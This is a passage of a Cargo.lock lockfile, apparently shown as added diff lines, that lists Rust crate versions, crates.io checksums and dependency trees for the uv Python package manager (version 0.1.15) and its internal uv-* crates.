"pin-project-lite", + "tokio", + "tracing", +] + +[[package]] +name = "toml" +version = "0.8.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a9aad4a3066010876e8dcf5a8a06e70a558751117a145c6ce2b82c2e2054290" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit", +] + +[[package]] +name = "toml_datetime" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.22.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "99e68c159e8f5ba8a28c4eb7b0c0c190d77bb479047ca713270048145a9ad28a" +dependencies = [ + "indexmap 2.2.3", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "tower-service" +version = "0.3.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6bc1c9ce2b5135ac7f93c72918fc37feb872bdc6a5533a8b85eb4b86bfdae52" + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-durations-export" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "35b910b25a6c8e0fefcfff912bad6c4f4849d37e5945c3861d15e550d819da53" +dependencies = [ + "anyhow", + "fs-err", + "itertools 0.12.1", + "once_cell", + "rustc-hash", + "serde", + "serde_json", + "svg", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "tracing-indicatif" +version = "0.3.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "069580424efe11d97c3fef4197fa98c004fa26672cc71ad8770d224e23b1951d" +dependencies = [ + "indicatif", + "tracing", + "tracing-core", + "tracing-subscriber", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" +dependencies = [ + "matchers", + "nu-ansi-term 0.46.0", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "tracing-tree" +version = "0.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "65139ecd2c3f6484c3b99bc01c77afe21e95473630747c7aca525e78b0666675" +dependencies = [ + "nu-ansi-term 0.49.0", + "tracing-core", + "tracing-log", + "tracing-subscriber", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "ttf-parser" +version = "0.18.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0609f771ad9c6155384897e1df4d948e692667cc0588548b68eb44d052b27633" + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "unicase" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f7d2d4dafb69621809a81864c9c1b864479e1235c0dd4e199924b9742439ed89" +dependencies = [ + "version_check", +] + +[[package]] +name = "unicode-bidi" +version = "0.3.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "08f95100a766bf4f8f28f90d77e0a5461bbdb219042e7679bebe79004fed8d75" + +[[package]] +name = "unicode-bidi-mirroring" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56d12260fb92d52f9008be7e4bca09f584780eb2266dc8fecc6a192bec561694" + +[[package]] +name = "unicode-ccc" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cc2520efa644f8268dce4dcd3050eaa7fc044fca03961e9998ac7e2e92b77cf1" + +[[package]] +name = "unicode-general-category" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2281c8c1d221438e373249e065ca4989c4c36952c211ff21a0ee91c44a3869e7" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-linebreak" +version = "0.1.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b09c83c3c29d37506a3e260c08c03743a6bb66a9cd432c6934ab501a190571f" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-script" +version = "0.5.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7d817255e1bed6dfd4ca47258685d14d2bdcfbc64fdc9e3819bd5848057b8ecc" + +[[package]] +name = "unicode-vo" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1d386ff53b415b7fe27b50bb44679e2cc4660272694b7b6f3326d8480823a94" + +[[package]] +name = "unicode-width" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e51733f11c9c4f72aa0c160008246859e340b00807569a0da0e7a1079b27ba85" + +[[package]] +name = "unindent" +version = "0.2.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c7de7d73e1754487cb58364ee906a499937a0dfabd86bcb980fa99ec8c8fa2ce" + +[[package]] +name = "unscanny" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e9df2af067a7953e9c3831320f35c1cc0600c30d44d9f7a12b01db1cd88d6b47" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "urlencoding" +version = "2.1.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "daf8dba3b7eb870caf1ddeed7bc9d2a049f3cfdfae7cb521b087cc33ae4c49da" + +[[package]] +name = "usvg" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63b6bb4e62619d9f68aa2d8a823fea2bff302340a1f2d45c264d5b0be170832e" +dependencies = [ + "base64 0.21.7", + "data-url", + "flate2", + "imagesize", + "kurbo 0.9.5", + "log", + "rctree", + "rosvgtree", + "strict-num", +] + +[[package]] +name = "usvg-text-layout" +version = "0.29.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "195386e01bc35f860db024de275a76e7a31afdf975d18beb6d0e44764118b4db" +dependencies = [ + "fontdb", + "kurbo 0.9.5", + "log", + "rustybuzz", + "unicode-bidi", + "unicode-script", + "unicode-vo", + "usvg", +] + +[[package]] +name = "utf8-width" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "86bd8d4e895da8537e5315b8254664e6b769c4ff3db18321b297a1e7004392e3" + +[[package]] +name = "utf8parse" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a" + +[[package]] +name = "uuid" +version = "1.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f00cc9702ca12d3c81455259621e676d0f7251cec66a21e98fe2e9a37db93b2a" + +[[package]] +name = "uv" +version = "0.1.15" +dependencies = [ + "anstream", + "anyhow", + "assert_cmd", + "assert_fs", + "base64 0.21.7", + "chrono", + "clap", + "clap_complete_command", + "console", + "ctrlc", + "distribution-filename", + "distribution-types", + "dunce", + "filetime", + "flate2", + "fs-err", + "futures", + "indexmap 2.2.3", + "indicatif", + "indoc", + "insta", + "install-wheel-rs", + "itertools 0.12.1", + "miette", + "mimalloc", + "owo-colors 4.0.0", + "pep440_rs", + "pep508_rs", + "platform-host", + "platform-tags", + "predicates", + "pubgrub", + "pypi-types", + "pyproject-toml", + "regex", + "requirements-txt", + "reqwest", + "rustc-hash", + "serde", + "serde_json", + "tempfile", + "textwrap", + "thiserror", + "tikv-jemallocator", + "tokio", + "toml", + "tracing", + "tracing-durations-export", + "tracing-subscriber", + "tracing-tree", + "unicode-width", + "url", + "uv-build", + "uv-cache", + "uv-client", + "uv-dispatch", + "uv-distribution", + "uv-fs", + "uv-installer", + "uv-interpreter", + "uv-normalize", + "uv-resolver", + "uv-traits", + "uv-version", + "uv-virtualenv", + "uv-warnings", + "which", +] + +[[package]] +name = "uv-auth" +version = "0.0.1" +dependencies = [ + "tracing", + "url", +] + +[[package]] +name = "uv-build" +version = "0.0.1" +dependencies = [ + "anyhow", + "distribution-types", + "fs-err", + "indoc", + "insta", + "itertools 0.12.1", + "once_cell", + "pep508_rs", + "platform-host", + "pypi-types", + "pyproject-toml", + "regex", + "rustc-hash", + "serde", + "serde_json", + "tempfile", + "thiserror", + "tokio", + "toml", + "tracing", + "uv-extract", + "uv-fs", + "uv-interpreter", + "uv-traits", + "uv-virtualenv", +] + +[[package]] +name = "uv-cache" +version = "0.0.1" +dependencies = [ + "cache-key", + "cachedir", + "clap", + "directories", + "distribution-types", + "fs-err", + "nanoid", + "pypi-types", + "serde", + "tempfile", + "tracing", + "url", + "uv-fs", + "uv-normalize", + "walkdir", +] + +[[package]] +name = "uv-client" +version = "0.0.1" +dependencies = [ + "anyhow", + "async-trait", + "async_http_range_reader", + "async_zip", + "cache-key", + "chrono", + "distribution-filename", + "distribution-types", + "fs-err", + "futures", + "html-escape", + "http", + "hyper", + "insta", + "install-wheel-rs", + "pep440_rs", + "pep508_rs", + "platform-tags", + "pypi-types", + "reqwest", + "reqwest-middleware", + "reqwest-retry", + "rkyv", + "rmp-serde", + "rustc-hash", + "serde", + "serde_json", + "sha2", + "task-local-extensions", + "tempfile", + "thiserror", + "tl", + "tokio", + "tokio-util", + "tracing", + "url", + "urlencoding", + "uv-auth", + "uv-cache", + "uv-fs", + "uv-normalize", + "uv-version", + "uv-warnings", +] + +[[package]] +name = "uv-dev" +version = "0.0.1" +dependencies = [ + "anstream", + "anyhow", + "chrono", + "clap", + "distribution-filename", + "distribution-types", + "fs-err", + "futures", + "indicatif", + "install-wheel-rs", + "itertools 0.12.1", + "mimalloc", + "owo-colors 4.0.0", + "pep440_rs", + "pep508_rs", + "petgraph", + "platform-host", + "platform-tags", + "poloto", + "pypi-types", + "resvg", + "rustc-hash", + "serde", + "serde_json", + "tagu", + "tempfile", + "tikv-jemallocator", + "tokio", + "tracing", + "tracing-durations-export", + "tracing-indicatif", + "tracing-subscriber", + "url", + "uv-build", + "uv-cache", + "uv-client", + "uv-dispatch", + "uv-distribution", + "uv-installer", + "uv-interpreter", + "uv-normalize", + "uv-resolver", + "uv-traits", + "uv-virtualenv", + "walkdir", + "which", +] + +[[package]] +name = "uv-dispatch" +version = "0.0.1" +dependencies = [ + "anyhow", + "distribution-types", + "fs-err", + "futures", + "itertools 0.12.1", + "pep508_rs", + "platform-host", + "platform-tags", + "pypi-types", + "rustc-hash", + "tempfile", + "tokio", + "tracing", + "uv-build", + "uv-cache", + "uv-client", + "uv-distribution", + "uv-installer", + "uv-interpreter", + "uv-resolver", + "uv-traits", + "uv-virtualenv", +] + +[[package]] +name = "uv-distribution" +version = "0.0.1" +dependencies = [ + "anyhow", + "cache-key", + "distribution-filename", + "distribution-types", + "fs-err", + "futures", + "install-wheel-rs", + "nanoid", + "pep440_rs", + "pep508_rs", + "platform-tags", + "pypi-types", + "reqwest", + "rmp-serde", + "rustc-hash", + "serde", + "tempfile", + "thiserror", + "tokio", + "tokio-util", + "tracing", + "url", + "uv-cache", + "uv-client", + "uv-extract", + "uv-fs", + "uv-git", + "uv-normalize", + "uv-traits", + "zip", +] + +[[package]] +name = "uv-extract" +version = "0.0.1" +dependencies = [ + "async-compression", + "async_zip", + "flate2", + "fs-err", + "futures", + "rayon", + "rustc-hash", + "thiserror", + "tokio", + "tokio-tar", + "tokio-util", + "tracing", + "zip", +] + +[[package]] +name = "uv-fs" +version = "0.0.1" +dependencies = [ + "dunce", + "fs-err", + "fs2", + "junction", + "tempfile", + "tracing", + "urlencoding", + "uv-warnings", +] + +[[package]] +name = "uv-git" +version = "0.0.1" +dependencies = [ + "anyhow", + "base64 0.21.7", + "cache-key", + "cargo-util", + "fs-err", + "git2", + "glob", + "hex", + "hmac", + "home", + "once_cell", + "rand", + "reqwest", + "serde", + "sha1", + "tokio", + "tracing", + "url", + "uv-fs", +] + +[[package]] +name = "uv-installer" +version = "0.0.1" +dependencies = [ + "anyhow", + "async-channel", + "distribution-filename", + "distribution-types", + "fs-err", + "futures", + "install-wheel-rs", + "once-map", + "pep440_rs", + "pep508_rs", + "platform-tags", + "pypi-types", + "pyproject-toml", + "rayon", + "requirements-txt", + "rustc-hash", + "serde", + "tempfile", + "thiserror", + "tokio", + "toml", + "tracing", + "url", + "uv-cache", + "uv-client", + "uv-distribution", + "uv-extract", + "uv-fs", + "uv-git", + "uv-interpreter", + "uv-normalize", + "uv-traits", + "uv-warnings", + "walkdir", +] + +[[package]] +name = "uv-interpreter" +version = "0.0.1" +dependencies = [ + "anyhow", + "cache-key", + "configparser", + "fs-err", + "indoc", + "insta", + "install-wheel-rs", + "itertools 0.12.1", + "once_cell", + "pep440_rs", + "pep508_rs", + "platform-host", + "platform-tags", + "pypi-types", + "regex", + "rmp-serde", + "same-file", + "serde", + "serde_json", + "tempfile", + "thiserror", + "tokio", + "tracing", + "uv-cache", + "uv-fs", + "which", +] + +[[package]] +name = "uv-normalize" +version = "0.0.1" +dependencies = [ + "rkyv", + "serde", +] + +[[package]] +name = "uv-resolver" +version = "0.0.1" +dependencies = [ + "anstream", + "anyhow", + "cache-key", + "chrono", + "clap", + "dashmap", + "derivative", + "distribution-filename", + "distribution-types", + "either", + "fs-err", + "futures", + "indexmap 2.2.3", + "insta", + "install-wheel-rs", + "itertools 0.12.1", + "once-map", + "once_cell", + "owo-colors 4.0.0", + "pep440_rs", + "pep508_rs", + "petgraph", + "platform-host", + "platform-tags", + "pubgrub", + "pypi-types", + "reqwest", + "rkyv", + "rustc-hash", + "serde_json", + "sha2", + "tempfile", + "thiserror", + "tokio", + "tokio-stream", + "tokio-util", + "tracing", + "url", + "uv-cache", + "uv-client", + "uv-distribution", + "uv-git", + "uv-interpreter", + "uv-normalize", + "uv-traits", + "uv-virtualenv", + "uv-warnings", + "zip", +] + +[[package]] +name = "uv-traits" +version = "0.0.1" +dependencies = [ + "anyhow", + "clap", + "distribution-types", + "once-map", + "pep508_rs", + "serde", + "serde_json", + "tokio", + "uv-cache", + "uv-interpreter", + "uv-normalize", +] + +[[package]] +name = "uv-version" +version = "0.1.15" + +[[package]] +name = "uv-virtualenv" +version = "0.0.4" +dependencies = [ + "anstream", + "cachedir", + "clap", + "directories", + "fs-err", + "platform-host", + "pypi-types", + "serde", + "serde_json", + "tempfile", + "thiserror", + "tracing", + "tracing-subscriber", + "uv-cache", + "uv-fs", + "uv-interpreter", + "which", +] + +[[package]] +name = "uv-warnings" +version = "0.0.1" +dependencies = [ + "anstream", + "once_cell", + "owo-colors 4.0.0", + "rustc-hash", +] + +[[package]] +name = "valuable" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] +name = "vcpkg" +version = "0.2.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "accd4ea62f7bb7a82fe23066fb0957d48ef677f6eeb8215f372f52e48bb32426" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "vt100" +version = "0.15.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "84cd863bf0db7e392ba3bd04994be3473491b31e66340672af5d11943c6274de" +dependencies = [ + "itoa", + "log", + "unicode-width", + "vte", +] + +[[package]] +name = "vte" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f5022b5fbf9407086c180e9557be968742d839e68346af7792b8592489732197" +dependencies = [ + "arrayvec", + "utf8parse", + "vte_generate_state_changes", +] + +[[package]] +name = "vte_generate_state_changes" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d257817081c7dffcdbab24b9e62d2def62e2ff7d00b1c20062551e6cccc145ff" +dependencies = [ + "proc-macro2", + "quote", +] + +[[package]] +name = "wait-timeout" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9f200f5b12eb75f8c1ed65abd4b2db8a6e1b138a20de009dacee265a2498f3f6" +dependencies = [ + "libc", +] + +[[package]] +name = "walkdir" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1e124130aee3fb58c5bdd6b639a0509486b0338acaaae0c84a5124b0f588b7f" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c9e7e1900c352b609c8488ad12639a311045f40a35491fb69ba8c12f758af70b" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn 2.0.48", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.41" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "877b9c3f61ceea0e56331985743b13f3d25c406a7098d45180fb5f09bc19ed97" +dependencies = [ + "cfg-if", + "js-sys", + "wasm-bindgen", + "web-sys", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b30af9e2d358182b5c7449424f017eba305ed32a7010509ede96cdc4696c46ed" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "642f325be6301eb8107a83d12a8ac6c1e1c54345a7ef1a9261962dfefda09e66" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.91" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4f186bd2dcf04330886ce82d6f33dd75a7bfcf69ecf5763b89fcde53b6ac9838" + +[[package]] +name = "wasm-streams" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b65dc4c90b63b118468cf747d8bf3566c1913ef60be765b5730ead9e0a3ba129" +dependencies = [ + "futures-util", + "js-sys", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] + +[[package]] +name = "wasm-timer" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be0ecb0db480561e9a7642b5d3e4187c128914e58aa84330b9493e3eb68c5e7f" +dependencies = [ + "futures", + "js-sys", + "parking_lot", + "pin-utils", + "wasm-bindgen", + "wasm-bindgen-futures", + "web-sys", +] + +[[package]] +name = "web-sys" +version = "0.3.68" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96565907687f7aceb35bc5fc03770a8a0471d82e479f25832f54a0e3f4b28446" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "weezl" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53a85b86a771b1c87058196170769dd264f66c0782acf1ae6cc51bfd64b39082" + +[[package]] +name = "which" +version = "6.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7fa5e0c10bf77f44aac573e498d1a82d5fbd5e91f6fc0a99e7be4b38e85e101c" +dependencies = [ + "either", + "home", + "once_cell", + "rustix", + "windows-sys 0.52.0", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e48a53791691ab099e5e2ad123536d0fff50652600abaf43bbf952894110d0be" +dependencies = [ + "windows-core", + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-core" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "winnow" +version = "0.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d90f4e0f530c4c69f62b80d839e9ef3855edc9cba471a160c4d692deed62b401" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.50.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "524e57b2c537c0f9b1e69f1965311ec12182b4122e45035b1508cd24d2adadb1" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "wyz" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "05f360fc0b24296329c78fda852a1e9ae82de9cf7b27dae4b7f62f118f77b9ed" +dependencies = [ + "tap", +] + +[[package]] +name = "xattr" +version = "1.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8da84f1a25939b27f6820d92aed108f83ff920fdf11a7b19366c27c4cda81d4f" +dependencies = [ + "libc", + "linux-raw-sys", + "rustix", +] + +[[package]] +name = "xmlparser" +version = "0.13.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "66fee0b777b0f5ac1c69bb06d361268faafa61cd4682ae064a171c16c433e9e4" + +[[package]] +name = "yaml-rust" +version = "0.4.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "56c1936c4cc7a1c9ab21a1ebb602eb942ba868cbd44a99cb7cdc5892335e1c85" +dependencies = [ + "linked-hash-map", +] + +[[package]] +name = "zip" +version = "0.6.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "760394e246e4c28189f19d488c058bf16f564016aefac5d32bb1f3b51d5e9261" +dependencies = [ + "byteorder", + "crc32fast", + 